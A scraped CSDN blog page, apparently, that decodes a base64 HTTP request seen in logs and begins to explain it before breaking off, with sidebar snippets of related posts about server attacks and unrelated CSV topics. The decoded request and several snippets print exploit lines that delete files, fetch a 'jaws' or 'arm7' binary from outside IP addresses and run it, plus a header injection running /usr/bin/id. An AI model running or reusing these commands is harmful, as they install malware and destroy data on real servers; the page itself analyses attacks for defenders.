解码R0VUIC9zaGVsbD9jZCsvdG1wO3JtKy1yZisqO3dnZXQrIDE3Mi4xMDUuMTI3LjIwOC9qYXdzO3No Ky90bXAvamF3cyBIVFRQL...

Shen Planck

于 2023-01-06 15:53:37 发布

阅读量395

点赞数

文章标签： linux git 运维服务器

本文链接：https://blog.csdn.net/weixin_35754962/article/details/129608817

版权

这是一个 HTTP 请求，其中包含以下信息：

GET /shell?cd+/tmp;rm+-rf+*;wget+172.105.127.208/jaws;sh+/tmp/jaws HTTP/1.1
User-Agent: Hello, world
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Connection: keep-alive

这个 HTTP 请求的目的是执行以下操作：

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

Shen Planck

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

NEWSCTF第二届--官方wp（2021.6.1萌新赛）

qq_55400494的博客

06-04

1万+

未经同意不得对本次比赛题目二次开发或做任何商业用途题目源码及部分wp汇总如下 Reverse 1.2021.6.1萌新赛-re_signin 出题人：mumuzi 2.2021.6.1萌新赛-1+1的签到题出题人：shangu 3.2021.6.1萌新赛-开门啊-1 出题人： tomPeter15 flag为ASCII可显示字符 4.2021.6.1萌新赛-开门啊-2 出题人： tomPeter15 flag为ASCII可显示字符 5.2021.6.1萌新赛-Qsay 出题人：Qfrost exp.cp

------------已搬运----2021.6.1萌新赛-impossible ip FastCGI 攻击 php-fpm简单的绑定公网 127.0.0.1的 9000 地址 -- 注意 waf

Zero_Adam的博客

06-12

950

学习WP 考点： php socket 伪造http请求ssrf 攻击php-fpm实现伪造ip <?php highlight_file(__FILE__); error_reporting(0); $data=base64_decode($_GET['data']); $host=$_GET['host']; $port=$_GET['port']; if(preg_match('/usr|auto|log/i' ,$data)) { die("error"); } $fp=fsoc

参与评论您还未登录，请先登录后发表或查看评论

【记录一次服务器被攻击】-[附带解决方案]

qq_41506710的博客

04-10

7587

当我准备重新构建docker项目时,发现一条某个IP的不正常请求. 日志如下 yudao-ui-admin | 156.219.223.76 - - [09/Apr/2022:16:49:37 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+23.94.50.159/jaws;sh+/tmp/jaws HTTP/1.1" 200 10315 "-" "Hello, world" "-" 我的项目是用的开源项目 ruoyi-vue-pro 用的是:docker构建项目

解析method:GET;status_code:;host:127.0.0.1;uri:/shell?cd+/tmp;rm+-rf+*;wget+heylitimysun.top/jaws;sh+/...

weixin_35757191的博客

01-06

523

这是一个使用 HTTP 方法 GET 的请求，目标主机为 127.0.0.1，目标资源的 URI 是 /shell?cd /tmp，其中 ?cd /tmp 可能是在 URI 中传递的查询参数，接下来的命令 rm -rf *、wget heylitimysun.top/jaws、sh /tmp/jaws 可能是在执行远程命令或者下载并执行恶意软件。但是，由于我无法访问网络，无法确定这些命令的具体含义...

{工作记录}遇到过的网络攻击合集&&爬虫User-Agent记录..{持续更新}

mikumiku~

05-01

7120

奇怪的攻击增加了！Exp!up!up! 奇怪的攻击记录_(:з」∠)_ “虽然看不懂是啥攻击，但是记下来感觉会有点用处。”——harusaruhi

shell脚本和命令调用

码农之道

05-04

1270

wget的断点续传传大库时经常使用-c来实现断点续传，但如果远程文件被改动了，并且下次传库时文件名是相同的，那么就需要先删除或移动本地文件。这是因为wget无法验证本地文件跟远程文件是否是同一个，只能简单的通过文件名来判断。这就导致了如果新文件比本地文件大，就会只下载大于本地文件的那部分，并追加到本地文件末尾。反之则不下载。wget使用了"(length(remote) - length(l

解码R0VUIC9zaGVsbD9jZCsvdG1wO3JtKy1yZisqO3dnZXQrIDE3Mi4xMDUuMTI3LjIwOC9qYXdzO3No Ky90bXAvamF3cyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogSGVsbG8sIHdvcmxkDQpIb3N0OiAxMjcu MC4wLjE6ODANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNh dGlvbi94bWw7cT0wLjksaW1hZ2Uvd2VicCwqLyo7cT0wLjgNCkNvbm5lY3Rpb246IGtlZXAtYWxp dmUNCg0K

最新发布

02-07

- GET /shell?cd+/tmp;rm+-rf+*;wget+172.105.127.208/jaws;...- User-Agent: Hello, world - Host: 127.0.0.1:8000 ...3. 从 172.105.127.208/jaws 下载一个文件并命名为 jaws。 4. 执行 /tmp/jaws。

解码R0VUIC8gSFRUUC8xLjENCkhvc3Q6IDEyMC44Ni4xMTMuMTA4OjgwMDkNClVzZXItQWdlbnQ6IE1v emlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzhfNCkgQXBwbGVXZWJLaXQv NTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQ5LjAuMjY1Ni4xOCBTYWZhcmkvNTM3 LjM2DQpDb25uZWN0aW9uOiBjbG9zZQ0KUHJveHk6IGE7L3Vzci9iaW4vaWQNCkFjY2VwdC1FbmNv ZGluZzogZ3ppcA0KDQo=

02-07

Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36 Connection: close Proxy: a;/usr/bin/id Accept-Encoding: gzip ``` 这是一个 HTTP 协议的 GET 请求，请求的...

csv与df

kewei chen

01-14

934

保存df为csv df.to_csv(‘out.csv’) 导入csv为df import pandas as pd csv_file = "yourfilename.csv" csv_data = pd.read_csv(csv_file, low_memory = False)#防止弹出警告 csv_df = pd.DataFrame(csv_data)

读取CSV到DataGrid

发现新鲜

03-05

1440

Private Sub btnFileLoad_Click()Sub btnFileLoad_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnFileLoad.Click Dim l_objStreamReader As System.IO.StreamReader Di

【Dgraph】导入CSV文件

BIG BOSS的博客

03-03

407

https://dgraph.io/docs/migration/loading-csv-data/ 将csv文件转成json 安装软件 yum install npm npm install --global csv2json csv2json /home/genome-tags.csv /home/genome-tags.json 导入json ./dgraph live -f /home/genome-tags.json

mysql修改local inflie_MySQL LOAD DATA INFILE—批量从文件（csv、txt）导入数据

weixin_36250200的博客

01-19

445

最近做的项目，有个需求(从Elastic Search取数据，业务运算后)，每次要向MySQL插入1300万条数据左右。最初用MySQL的executemany()一次插入10000条数据，统计的时间如下：如上，插入时间由于系统的IO变化，会有波动，最快在4秒左右。后改为"load data infile"大概，10万条数据平均1秒~1.5秒，实际的代码示例如下：query = "LOAD D...

1.txt文件转换成csv文件

asdfghjkl9514的博客

03-19

6701

目录 0.整体代码 1.以csv方式打开txt文件 2.给csv添加表头 3.保存csv文件 0.整体代码 import numpy as np # linear algebra import pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv) dg =pd.read_csv('C:\\Users\\86178\\PycharmProjects\\pythonProject\\ethylene_methane.t

我的服务器貌似被人攻击了，恶意输入了rm -rf *

qq_44758938的博客

01-04

4429

事前的经过是这样的。。。前段时间我闲的无聊，我就自己趁着双十一，在百度智能云上买了个服务器，只要49半年（不是打广告啊，百度，打钱！），顺便买了个域名1块钱一年的。然后我就开始琢磨起来服务器和网站的部署。然后上礼拜我在我空间里给大家看了我的未来的主页，其实也就是做个特效网页玩玩。以上是背景今天 2019年11月26日，我发现我的网站无法访问了，我测试了好几遍，确定是访问不了了，我就上去看...

记一次项目上线的经历（汇总 / 过程反思）

ragga-time

05-04

3879

公司原本计划4月30日将现有系统做升级。那晚与数据库大牛一起搭建模拟生产环境的版本做线上升级测试版使用。大概7点半遇到一个bug。本在测试环境可以顺畅运行的程序因与模拟线上环境的数据库版本不一致（测试环境5.6.46 / 线上环境5.6.28/）导致原有的程序因游标问题引发的一连串错误，致使整个模拟环境迟迟磨到了1点才搭建完成。线上升级也就推到5月1号。这期间使用的一些排查手段的混合交错也可...

【网络安全】关于http服务器遭受webshell攻击

jn10010537的博客

09-17

3166

【windows10】关于http服务器遭受webshell攻击1、背景2、ip地址查询3、可疑请求ip 1、背景在阿里云公网上部署web服务器，最近客户反映我的服务经常断掉，查看后台日志，发现境外的IP攻击。比如： 209.141.56.212 - - [17/Sep/2021 04:52:04] "[33mGET /shell?cd+/tmp;rm+arm+arm7;wget+http:/\/154.16.118.104/arm7;chmod+777+arm7;./arm7+0day.jawsv

实战 | 电商业务的性能测试(一): 必备基础知识

hogwarts_beibei的博客

05-07

398

image900×300 79.7 KB 本文为霍格沃兹测试学院优秀学员课程学习系列笔记，想一起系统进阶的同学文末加群交流。 1.1 测试步骤总览需求分析与测试设计（性能需求目标+业务模型拆解）测试数据准备和构造(基于模型的数据准备) 性能指标预期(性能需求目标) 发压工具配置及脚本编写（压力策略）测试过程（预计的前置准备过程和压测时间点规划）结果分析与测试报告 1.2 测试模型分析如下的测试模型来简单的说明测试中需要关注的点和测试的目的 image1080..

Base64编码/解码

渡安H的博客

06-04

2992

import java.io.UnsupportedEncodingException; import java.util.Base64; import java.util.Scanner; /** @Author: dell @Version: V1.0.0 @Date: 2021年05月20日 */ public class Base64trans { public static void main(String[] args) { System.out.println("------Bas